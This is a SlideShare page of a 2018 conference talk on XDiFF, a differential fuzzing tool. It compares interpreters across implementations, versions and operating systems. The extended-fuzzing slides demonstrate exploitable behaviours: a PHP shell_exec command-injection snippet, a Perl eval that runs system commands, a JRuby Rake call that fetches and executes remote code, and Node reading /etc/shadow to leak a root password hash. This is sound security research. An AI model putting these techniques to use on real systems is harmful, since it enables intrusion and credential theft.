SlideShare a Scribd company logo
IOActive, Inc. Copyright ©2018. All Rights Reserved.
IOActive, Inc. Copyright ©2018. All Rights Reserved.
Exposing Hidden Exploitable
Behaviors Using Extended
Differential Fuzzing
Fernando Arnaboldi
Milan - November, 2018
IOActive, Inc. Copyright ©2018. All Rights Reserved.
Agenda
• 1. What, Who, How & Why
• 2. Common Fuzzing
• 3. Differential Fuzzing
• 4. Extended Differential Fuzzing
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.1. What Do You Expect From Fuzzing?
• Fuzzing exposes undisclosed
functionalities or unexpected
behaviors.
• Extended differential fuzzing
can expose more stuff
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.2. Who Cares About Fuzzing?
• Security Consultants
• Software Testers
• Software Developers
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.3. How
• Manually or
• Using an extended differential fuzzing framework (XDiFF)
– Open source Python project
– Multiplatform (FreeBSD, Linux, OSX,
Windows)
– Gathers all the information
– Exposes the unexpected behaviors
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.3. How: Fuzzing Process
Input
Generation
Software
Execution
Output
Analysis
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.3. How: Generate the testcases
Create a new databaseDefine the base values to be
replaced (aka “functions”)
Define the values to
insert in the function
Permute the values
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.3. How: Define the Software
Pick a name
Define the OS
Define the Input: CLI, File, URL, Stdin
Define the Software
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.4. Why this approach? To automatize the
output analysis
IOActive, Inc. Copyright ©2018. All Rights Reserved.
0.1 + 0.2 - 0.3 = 0? Nah
IOActive, Inc. Copyright ©2018. All Rights Reserved.
9007199254740992 + 1 = 9007199254740992
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. Common Fuzzing
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. What to Detect:
• Crashes
• Hangs
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. Common Fuzzing: Crashes
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. Crashes: XDiFF Output – Valgrind
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. Crashes: XDiFF Output – Return Codes
IOActive, Inc. Copyright ©2018. All Rights Reserved.
Ruby
HHVM
2. Crashes
Pypy
Perl
ChakraCore
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. Crashes: XDiFF Output – Hangs
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3. Differential Fuzzing
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3. What is Differential Fuzzing?
• “Execute one or more similar implementations to compare and analize
their outputs”
• What do we mean by output?
– The standard output
– The standard error
– The network connections
– The return code
– The time required for the execution
– If the software was killed or not
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3. What to Execute
• 3.1. Different implementations
• 3.2. Different inputs:
– CLI
– File
– URL
– Standard Input
• 3.3. Different versions
• 3.4. Different operating systems
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.1. Different Implementations
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.1. Different Implementations: Stdout
V8 (CLI) SpiderMonkey (CLI) NodeJS v7.2.1 (CLI)
$ d8 -e 'print(this)’
[object.global]
$ js -e 'print(this)’
[object.global]
$ node -e 'console.log(this)'
{
[...SNIP...]
USER: 'testuser',
PATH: '/opt/local/bin:…',
PWD: '/Users/testuser,
HOME: '/Users/testuser',
pid: 60094,
[...SNIP...]
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.1. Different Implementations: Killed or Stderr
OpenJDK 8 Oracle 9
Killed No Yes
Stderr
Exception in thread “main” java.lang.OutOfMemoryError: Java heap space
at sun.security.provider.NativePRNG$RandomIO.implGenerateSeed(NativePRNG.java:440)
[…]
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.2. Different Inputs
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.2. Different Inputs: Stdout
NodeJS v7.2.1 (File) NodeJS v7.2.1 (CLI)
$ echo "console.log(this)" > file.js ; node file.js
{}
$ node -e 'console.log(this)'
{
[...SNIP...]
USER: 'testuser',
PATH: '/opt/local/bin:…',
PWD: '/Users/testuser,
HOME: '/Users/testuser',
pid: 60094,
[...SNIP...]
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.2. Different Inputs: Stdout
Windows 10 Powershell (File) Windows 10 Powershell (CLI)
C:>echo Invoke-Expression dir > test.ps1
C:>powershell "& ""c:test.ps1""”
& : File C:test.ps1 cannot be loaded because
running scripts is disabled on this system.
For more information, see
about_Execution_Policies at
https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:3
+ & "c:test.ps1”
+ ~~~~~~~~~~~~~
+ CategoryInfo : SecurityError:
(:) [], PSSecurityException
+ FullyQualifiedErrorId :
UnauthorizedAccess
C:>powershell -Command Invoke-Expression dir
Directory: C:
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/13/2017 5:41 PM PerfLogs
d-r--- 3/2/2018 8:45 AM Program Files
d-r--- 3/1/2018 12:16 PM Program Files(x86)
d-r--- 3/1/2018 12:20 PM Users
d----- 3/6/2018 3:15 AM Windows
-a---- 3/28/2018 10:34 AM 24 test.ps1
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.3. Different Versions
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.3. Different Versions: Stdout
NodeJS v0.4.0 (CLI) NodeJS v7.2.1 (CLI)
$ node -e ‘console.log(this)’
{}
$ node -e 'console.log(this)'
{
[...SNIP...]
USER: 'testuser',
PATH: '/opt/local/bin:…',
PWD: '/Users/testuser,
HOME: '/Users/testuser',
pid: 60094,
[...SNIP...]
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.3. Different Versions: Return Code or Stderr
OpenJDK 8 Oracle 9
Return
Code
0 1
Stderr
Warning: SecureRandom is internal
proprietary API and may be removed in a
future release
Package sun.security.provider is not
visible
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.4. Different Operating Systems
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.4. Different OS: Stdout
• In Python 2.7 the built-in functionality cmp() compares two objects:
• The following compares two floating point "not a number” values:
print(cmp(float('nan'),float('nan')))
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.4. Different OS: Stdout (cont).
Software OS Stdout
CPython
Linux -1
Freebsd 1
OS X 1
Windows 1
PyPy
Linux 0
Freebsd 0
OS X 0
Windows 0
Jython
Linux 1
Freebsd 1
OS X 1
Windows 1
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.4. Different OS: Stdout
Windows 10 Powershell (File) Linux Powershell (File)
C:>echo Invoke-Expression dir > test.ps1
C:>powershell "& ""c:test.ps1""”
& : File C:test.ps1 cannot be loaded because
running scripts is disabled on this system. For more
information, see about_Execution_Policies at
https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:3
+ & "c:test.ps1”
+ ~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [],
PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
# echo Invoke-Expression dir > test.ps1
# pwsh test.ps1
Directory: /
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/13/18 6:07 AM bin
d----- 3/3/18 3:23 PM boot
d----- 3/16/18 5:45 PM dev
d----- 4/5/18 9:13 AM etc
d----- 3/12/18 4:33 PM home
[…]
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4. Extended Differential Fuzzing
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4. What to Detect:
• Path Disclosure
• User Disclosure
• Error Disclosure
• Code Evaluated
• Command Executed
• Network Connections
• File Read
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.1. How Files are Deleted in Linux/OSX
server:tmp $ rm non-existing-file
rm: non-existing-file: No such file or directory
server:tmp $ touch existing-file
server:tmp $ rm -i existing-file
remove existing-file?
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.1. Path Disclosure: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.1. Path Disclosure: Powershell
C:Users>powershell -Command Clear-Content -Confirm non-existing-file
Clear-Content : Cannot find path 'C:Usersnon-existing-file' because it
does not exist.
At line:1 char:1
+ Clear-Content -Confirm non-existing-file
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (C:Usersnon-existing-
file:String) [Clear-Content], ItemNotFoundExcepti
on
+ FullyQualifiedErrorId :
PathNotFound,Microsoft.PowerShell.Commands.ClearContentCommand
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.1. Path Disclosure: Powershell (cont’d)
C:Users>echo blah > existing-file
C:Users>powershell -Command Clear-Content -Confirm existing-file
Confirm
Are you sure you want to perform this action?
Performing the operation "Clear Content" on target "Item:
C:Usersexisting-file".
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help
(default is "Y"):
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.2. User Disclosure: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.2. User Disclosure
C:>powershell -Command Start-Transcript
Transcript started, output file is
C:UsersAdministratorDocumentsPowerShell_transcript.DESKTOP-
QIJDN98.xoUGhDVe.20180328104416.txt
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.3. Error Disclosure: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.4. Code Evaluated: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.4. Code Evaluated: Perl
# perl -e "use ExtUtils::Typemaps::Cmd;print embeddable_typemap("system 'id'")"
String found where operator expected at (eval 1) line 1, near "require
ExtUtils::Typemaps::system 'id'"
(Do you need to predeclare require?)
uid=0(root) gid=0(root) groups=0(root)
Unable to find typemap for 'system 'id'': Tried to load both as file or module
and failed.
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.5. Command Execution: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.5. Command Execution: PHP 1/4
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.5. Command Execution: PHP 1/3
• Let’s define the a bash constant on index.php:
• The previous file requires functions.php and shows a man page:
<?php
define("bash","man ");
require_once("functions.php");
?>
<?php
$output = shell_exec(bash.$_GET['page']);
print "<pre>".$output."</pre>";
?>
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.5. Command Execution: PHP 2/3
• The command “man ” is executed when index.php is called:
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.5. Command Execution: PHP 3/3
• The command “bash” is executed when functions.php is called:
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.6. Network Connection: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.6. Network Connection: JRuby RCE
# curl http://10.0.0.1/canaryfile
puts %x(id)
Ruby v2.3.1 JRuby v1.7.27
# ruby -e 'require "rake";puts
Rake.load_rakefile("http://10.0.0.1/canar
yfile")'
/usr/lib/ruby/vendor_ruby/rake/rake_mod
ule.rb:28:in `load': cannot load such file --
[...SNIP...]
# jruby -e 'require "rake";puts
Rake.load_rakefile("http://10.0.0.1/canar
yfile")'
uid=0(root) gid=0(root) groups=0(root)
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.7. File Read: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.7. File Read: Leak Root’s Password
NodeJS with Chakracore NodeJS v4.2.6 with V8
# node -e "console.log(require('/etc/shadow))"
SyntaxError: Invalid character
[...SNIP...]
# node -e "console.log(require('/etc/shadow'))"
/etc/shadow:1
(function (exports, require, module, __filename,
__dirname) {
root:$6$AP53wsfZ$XdxiQRFJF6PzdRd3SxD
eIwKsmyEkWgNOSSg.WZR18KfLo617cR1Z
swMZEPT5QTS95aH.NI2DrqmQ8rMbm8sIq/:
17172:0:14600:14:::
^
SyntaxError: Unexpected token :
IOActive, Inc. Copyright ©2018. All Rights Reserved.
Extended Differential Fuzzing Conclusions
• Analyze different vulnerabilities
• Expose more vulnerabilities by differential analysis
• One payload could be used affect multiple pieces of
software
IOActive, Inc. Copyright ©2018 All Rights Reserved.
Questions?
IOActive, Inc. Copyright ©2018 All Rights Reserved.
Tante Grazie !
XDiFF (Extended Differential Fuzzer):
https://github.com/IOActive/XDiFF

More Related Content

PDF
Hacking oracle using metasploit
PDF
Secure Programming Practices in C++ (NDC Oslo 2018)
PDF
SOURCE Boston --Attacking Oracle Web Applications with Metasploit & wXf
PDF
Hollywood mode off: security testing at scale
PDF
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
PDF
Poc2015 os x_kernel_is_as_strong_as_its_weakest_part_liang_shuaitian
PDF
Virus Bulletin 2015: Exposing Gatekeeper
PDF
Reading Other Peoples Code (Web Rebels 2018)
Hacking oracle using metasploit
Secure Programming Practices in C++ (NDC Oslo 2018)
SOURCE Boston --Attacking Oracle Web Applications with Metasploit & wXf
Hollywood mode off: security testing at scale
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
Poc2015 os x_kernel_is_as_strong_as_its_weakest_part_liang_shuaitian
Virus Bulletin 2015: Exposing Gatekeeper
Reading Other Peoples Code (Web Rebels 2018)

What's hot (19)

PDF
C++ The Principles of Most Surprise
PDF
DEF CON 23: Stick That In Your (root)Pipe & Smoke It
PDF
The Ring programming language version 1.5.4 book - Part 15 of 185
PPT
Mastering Java ByteCode
PDF
Distributed Search in Riak - Integrating Search in a NoSQL Database: Presente...
PDF
Gatekeeper Exposed
PPT
Java Symmetric
PDF
Cansecwest_16_Dont_Trust_Your_Eye_Apple_Graphics_Is_Compromised
PDF
Threat stack aws
PDF
iOS Automation Primitives
PPTX
OWASP AppSecCali 2015 - Marshalling Pickles
PDF
How to Design a Great API (using flask) [ploneconf2017]
PDF
Lean React - Patterns for High Performance [ploneconf2017]
PDF
Denis Zhuchinski Ways of enhancing application security
PDF
Recon2016 shooting the_osx_el_capitan_kernel_like_a_sniper_chen_he
PDF
DLL Hijacking on OS X
PDF
Inspecting iOS App Traffic with JavaScript - JSOxford - Jan 2018
PDF
DEF CON 23: 'DLL Hijacking' on OS X? #@%& Yeah!
PDF
Trying to learn C# (NDC Oslo 2019)
C++ The Principles of Most Surprise
DEF CON 23: Stick That In Your (root)Pipe & Smoke It
The Ring programming language version 1.5.4 book - Part 15 of 185
Mastering Java ByteCode
Distributed Search in Riak - Integrating Search in a NoSQL Database: Presente...
Gatekeeper Exposed
Java Symmetric
Cansecwest_16_Dont_Trust_Your_Eye_Apple_Graphics_Is_Compromised
Threat stack aws
iOS Automation Primitives
OWASP AppSecCali 2015 - Marshalling Pickles
How to Design a Great API (using flask) [ploneconf2017]
Lean React - Patterns for High Performance [ploneconf2017]
Denis Zhuchinski Ways of enhancing application security
Recon2016 shooting the_osx_el_capitan_kernel_like_a_sniper_chen_he
DLL Hijacking on OS X
Inspecting iOS App Traffic with JavaScript - JSOxford - Jan 2018
DEF CON 23: 'DLL Hijacking' on OS X? #@%& Yeah!
Trying to learn C# (NDC Oslo 2019)
Ad

Similar to Fernando Arnaboldi - Exposing Hidden Exploitable Behaviors Using Extended Differential Fuzzing - Codemotion Milan 2018 (20)

PDF
A CTF Hackers Toolbox
PDF
Advanced System Security and Digital Forensics
PDF
Fuzzing - Part 1
PDF
Python for DevOps Learn Ruthlessly Effective Automation 1st Edition Noah Gift
PDF
Python for DevOps Learn Ruthlessly Effective Automation 1st Edition Noah Gift
PDF
Run stuff, Deploy Stuff, Jax London 2017 Edition
PDF
Activity 5
PDF
20180324 leveraging unix tools
PPT
Secure Programming
PPTX
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
PDF
Say whether each of the following statements is true (“T”) or false .pdf
PDF
Killer Bugs From Outer Space
PPT
Finding Diversity In Remote Code Injection Exploits
PDF
DEF CON 27 - CHRISTOPHER ROBERTS - firmware slap
PDF
Symbolic Execution (introduction and hands-on)
PDF
Hotsos Advanced Linux Tools
A CTF Hackers Toolbox
Advanced System Security and Digital Forensics
Fuzzing - Part 1
Python for DevOps Learn Ruthlessly Effective Automation 1st Edition Noah Gift
Python for DevOps Learn Ruthlessly Effective Automation 1st Edition Noah Gift
Run stuff, Deploy Stuff, Jax London 2017 Edition
Activity 5
20180324 leveraging unix tools
Secure Programming
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
Say whether each of the following statements is true (“T”) or false .pdf
Killer Bugs From Outer Space
Finding Diversity In Remote Code Injection Exploits
DEF CON 27 - CHRISTOPHER ROBERTS - firmware slap
Symbolic Execution (introduction and hands-on)
Hotsos Advanced Linux Tools
Ad

More from Codemotion (20)

PDF
Fuzz-testing: A hacker's approach to making your code more secure | Pascal Ze...
PDF
Pompili - From hero to_zero: The FatalNoise neverending story
PPTX
Pastore - Commodore 65 - La storia
PPTX
Pennisi - Essere Richard Altwasser
PPTX
Michel Schudel - Let's build a blockchain... in 40 minutes! - Codemotion Amst...
PPTX
Richard Süselbeck - Building your own ride share app - Codemotion Amsterdam 2019
PPTX
Eward Driehuis - What we learned from 20.000 attacks - Codemotion Amsterdam 2019
PPTX
Francesco Baldassarri - Deliver Data at Scale - Codemotion Amsterdam 2019 -
PDF
Martin Förtsch, Thomas Endres - Stereoscopic Style Transfer AI - Codemotion A...
PDF
Melanie Rieback, Klaus Kursawe - Blockchain Security: Melting the "Silver Bul...
PDF
Angelo van der Sijpt - How well do you know your network stack? - Codemotion ...
PDF
Lars Wolff - Performance Testing for DevOps in the Cloud - Codemotion Amsterd...
PDF
Sascha Wolter - Conversational AI Demystified - Codemotion Amsterdam 2019
PDF
Michele Tonutti - Scaling is caring - Codemotion Amsterdam 2019
PPTX
Pat Hermens - From 100 to 1,000+ deployments a day - Codemotion Amsterdam 2019
PPTX
James Birnie - Using Many Worlds of Compute Power with Quantum - Codemotion A...
PDF
Don Goodman-Wilson - Chinese food, motor scooters, and open source developmen...
PDF
Pieter Omvlee - The story behind Sketch - Codemotion Amsterdam 2019
PDF
Dave Farley - Taking Back “Software Engineering” - Codemotion Amsterdam 2019
PDF
Joshua Hoffman - Should the CTO be Coding? - Codemotion Amsterdam 2019
Fuzz-testing: A hacker's approach to making your code more secure | Pascal Ze...
Pompili - From hero to_zero: The FatalNoise neverending story
Pastore - Commodore 65 - La storia
Pennisi - Essere Richard Altwasser
Michel Schudel - Let's build a blockchain... in 40 minutes! - Codemotion Amst...
Richard Süselbeck - Building your own ride share app - Codemotion Amsterdam 2019
Eward Driehuis - What we learned from 20.000 attacks - Codemotion Amsterdam 2019
Francesco Baldassarri - Deliver Data at Scale - Codemotion Amsterdam 2019 -
Martin Förtsch, Thomas Endres - Stereoscopic Style Transfer AI - Codemotion A...
Melanie Rieback, Klaus Kursawe - Blockchain Security: Melting the "Silver Bul...
Angelo van der Sijpt - How well do you know your network stack? - Codemotion ...
Lars Wolff - Performance Testing for DevOps in the Cloud - Codemotion Amsterd...
Sascha Wolter - Conversational AI Demystified - Codemotion Amsterdam 2019
Michele Tonutti - Scaling is caring - Codemotion Amsterdam 2019
Pat Hermens - From 100 to 1,000+ deployments a day - Codemotion Amsterdam 2019
James Birnie - Using Many Worlds of Compute Power with Quantum - Codemotion A...
Don Goodman-Wilson - Chinese food, motor scooters, and open source developmen...
Pieter Omvlee - The story behind Sketch - Codemotion Amsterdam 2019
Dave Farley - Taking Back “Software Engineering” - Codemotion Amsterdam 2019
Joshua Hoffman - Should the CTO be Coding? - Codemotion Amsterdam 2019

Recently uploaded (20)

PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
gpt5_lecture_notes_comprehensive_20250812015547.pdf
PDF
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
PDF
A novel scalable deep ensemble learning framework for big data classification...
PDF
1 - Historical Antecedents, Social Consideration.pdf
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
NewMind AI Weekly Chronicles - August'25-Week II
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
August Patch Tuesday
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Approach and Philosophy of On baking technology
PPTX
1. Introduction to Computer Programming.pptx
PPTX
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
PDF
Encapsulation theory and applications.pdf
PDF
ENT215_Completing-a-large-scale-migration-and-modernization-with-AWS.pdf
PDF
Heart disease approach using modified random forest and particle swarm optimi...
PPTX
A Presentation on Artificial Intelligence
PDF
Enhancing emotion recognition model for a student engagement use case through...
Digital-Transformation-Roadmap-for-Companies.pptx
gpt5_lecture_notes_comprehensive_20250812015547.pdf
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
A novel scalable deep ensemble learning framework for big data classification...
1 - Historical Antecedents, Social Consideration.pdf
Agricultural_Statistics_at_a_Glance_2022_0.pdf
NewMind AI Weekly Chronicles - August'25-Week II
Encapsulation_ Review paper, used for researhc scholars
Building Integrated photovoltaic BIPV_UPV.pdf
Programs and apps: productivity, graphics, security and other tools
August Patch Tuesday
Unlocking AI with Model Context Protocol (MCP)
Approach and Philosophy of On baking technology
1. Introduction to Computer Programming.pptx
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
Encapsulation theory and applications.pdf
ENT215_Completing-a-large-scale-migration-and-modernization-with-AWS.pdf
Heart disease approach using modified random forest and particle swarm optimi...
A Presentation on Artificial Intelligence
Enhancing emotion recognition model for a student engagement use case through...

Fernando Arnaboldi - Exposing Hidden Exploitable Behaviors Using Extended Differential Fuzzing - Codemotion Milan 2018

  • 1. IOActive, Inc. Copyright ©2018. All Rights Reserved.
  • 2. IOActive, Inc. Copyright ©2018. All Rights Reserved. Exposing Hidden Exploitable Behaviors Using Extended Differential Fuzzing Fernando Arnaboldi Milan - November, 2018
  • 3. IOActive, Inc. Copyright ©2018. All Rights Reserved. Agenda • 1. What, Who, How & Why • 2. Common Fuzzing • 3. Differential Fuzzing • 4. Extended Differential Fuzzing
  • 4. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.1. What Do You Expect From Fuzzing? • Fuzzing exposes undisclosed functionalities or unexpected behaviors. • Extended differential fuzzing can expose more stuff
  • 5. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.2. Who Cares About Fuzzing? • Security Consultants • Software Testers • Software Developers
  • 6. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.3. How • Manually or • Using an extended differential fuzzing framework (XDiFF) – Open source Python project – Multiplatform (FreeBSD, Linux, OSX, Windows) – Gathers all the information – Exposes the unexpected behaviors
  • 7. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.3. How: Fuzzing Process Input Generation Software Execution Output Analysis
  • 8. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.3. How: Generate the testcases Create a new databaseDefine the base values to be replaced (aka “functions”) Define the values to insert in the function Permute the values
  • 9. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.3. How: Define the Software Pick a name Define the OS Define the Input: CLI, File, URL, Stdin Define the Software
  • 10. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.4. Why this approach? To automatize the output analysis
  • 11. IOActive, Inc. Copyright ©2018. All Rights Reserved. 0.1 + 0.2 - 0.3 = 0? Nah
  • 12. IOActive, Inc. Copyright ©2018. All Rights Reserved. 9007199254740992 + 1 = 9007199254740992
  • 13. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. Common Fuzzing
  • 14. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. What to Detect: • Crashes • Hangs
  • 15. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. Common Fuzzing: Crashes
  • 16. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. Crashes: XDiFF Output – Valgrind
  • 17. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. Crashes: XDiFF Output – Return Codes
  • 18. IOActive, Inc. Copyright ©2018. All Rights Reserved. Ruby HHVM 2. Crashes Pypy Perl ChakraCore
  • 19. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. Crashes: XDiFF Output – Hangs
  • 20. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3. Differential Fuzzing
  • 21. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3. What is Differential Fuzzing? • “Execute one or more similar implementations to compare and analize their outputs” • What do we mean by output? – The standard output – The standard error – The network connections – The return code – The time required for the execution – If the software was killed or not
  • 22. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3. What to Execute • 3.1. Different implementations • 3.2. Different inputs: – CLI – File – URL – Standard Input • 3.3. Different versions • 3.4. Different operating systems
  • 23. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.1. Different Implementations
  • 24. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.1. Different Implementations: Stdout V8 (CLI) SpiderMonkey (CLI) NodeJS v7.2.1 (CLI) $ d8 -e 'print(this)’ [object.global] $ js -e 'print(this)’ [object.global] $ node -e 'console.log(this)' { [...SNIP...] USER: 'testuser', PATH: '/opt/local/bin:…', PWD: '/Users/testuser, HOME: '/Users/testuser', pid: 60094, [...SNIP...]
  • 25. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.1. Different Implementations: Killed or Stderr OpenJDK 8 Oracle 9 Killed No Yes Stderr Exception in thread “main” java.lang.OutOfMemoryError: Java heap space at sun.security.provider.NativePRNG$RandomIO.implGenerateSeed(NativePRNG.java:440) […]
  • 26. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.2. Different Inputs
  • 27. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.2. Different Inputs: Stdout NodeJS v7.2.1 (File) NodeJS v7.2.1 (CLI) $ echo "console.log(this)" > file.js ; node file.js {} $ node -e 'console.log(this)' { [...SNIP...] USER: 'testuser', PATH: '/opt/local/bin:…', PWD: '/Users/testuser, HOME: '/Users/testuser', pid: 60094, [...SNIP...]
  • 28. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.2. Different Inputs: Stdout Windows 10 Powershell (File) Windows 10 Powershell (CLI) C:>echo Invoke-Expression dir > test.ps1 C:>powershell "& ""c:test.ps1""” & : File C:test.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170. At line:1 char:3 + & "c:test.ps1” + ~~~~~~~~~~~~~ + CategoryInfo : SecurityError: (:) [], PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess C:>powershell -Command Invoke-Expression dir Directory: C: Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 12/13/2017 5:41 PM PerfLogs d-r--- 3/2/2018 8:45 AM Program Files d-r--- 3/1/2018 12:16 PM Program Files(x86) d-r--- 3/1/2018 12:20 PM Users d----- 3/6/2018 3:15 AM Windows -a---- 3/28/2018 10:34 AM 24 test.ps1
  • 29. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.3. Different Versions
  • 30. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.3. Different Versions: Stdout NodeJS v0.4.0 (CLI) NodeJS v7.2.1 (CLI) $ node -e ‘console.log(this)’ {} $ node -e 'console.log(this)' { [...SNIP...] USER: 'testuser', PATH: '/opt/local/bin:…', PWD: '/Users/testuser, HOME: '/Users/testuser', pid: 60094, [...SNIP...]
  • 31. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.3. Different Versions: Return Code or Stderr OpenJDK 8 Oracle 9 Return Code 0 1 Stderr Warning: SecureRandom is internal proprietary API and may be removed in a future release Package sun.security.provider is not visible
  • 32. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.4. Different Operating Systems
  • 33. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.4. Different OS: Stdout • In Python 2.7 the built-in functionality cmp() compares two objects: • The following compares two floating point "not a number” values: print(cmp(float('nan'),float('nan')))
  • 34. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.4. Different OS: Stdout (cont). Software OS Stdout CPython Linux -1 Freebsd 1 OS X 1 Windows 1 PyPy Linux 0 Freebsd 0 OS X 0 Windows 0 Jython Linux 1 Freebsd 1 OS X 1 Windows 1
  • 35. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.4. Different OS: Stdout Windows 10 Powershell (File) Linux Powershell (File) C:>echo Invoke-Expression dir > test.ps1 C:>powershell "& ""c:test.ps1""” & : File C:test.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170. At line:1 char:3 + & "c:test.ps1” + ~~~~~~~~~~~~~ + CategoryInfo : SecurityError: (:) [], PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess # echo Invoke-Expression dir > test.ps1 # pwsh test.ps1 Directory: / Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 3/13/18 6:07 AM bin d----- 3/3/18 3:23 PM boot d----- 3/16/18 5:45 PM dev d----- 4/5/18 9:13 AM etc d----- 3/12/18 4:33 PM home […]
  • 36. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4. Extended Differential Fuzzing
  • 37. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4. What to Detect: • Path Disclosure • User Disclosure • Error Disclosure • Code Evaluated • Command Executed • Network Connections • File Read
  • 38. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.1. How Files are Deleted in Linux/OSX server:tmp $ rm non-existing-file rm: non-existing-file: No such file or directory server:tmp $ touch existing-file server:tmp $ rm -i existing-file remove existing-file?
  • 39. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.1. Path Disclosure: XDiFF Output
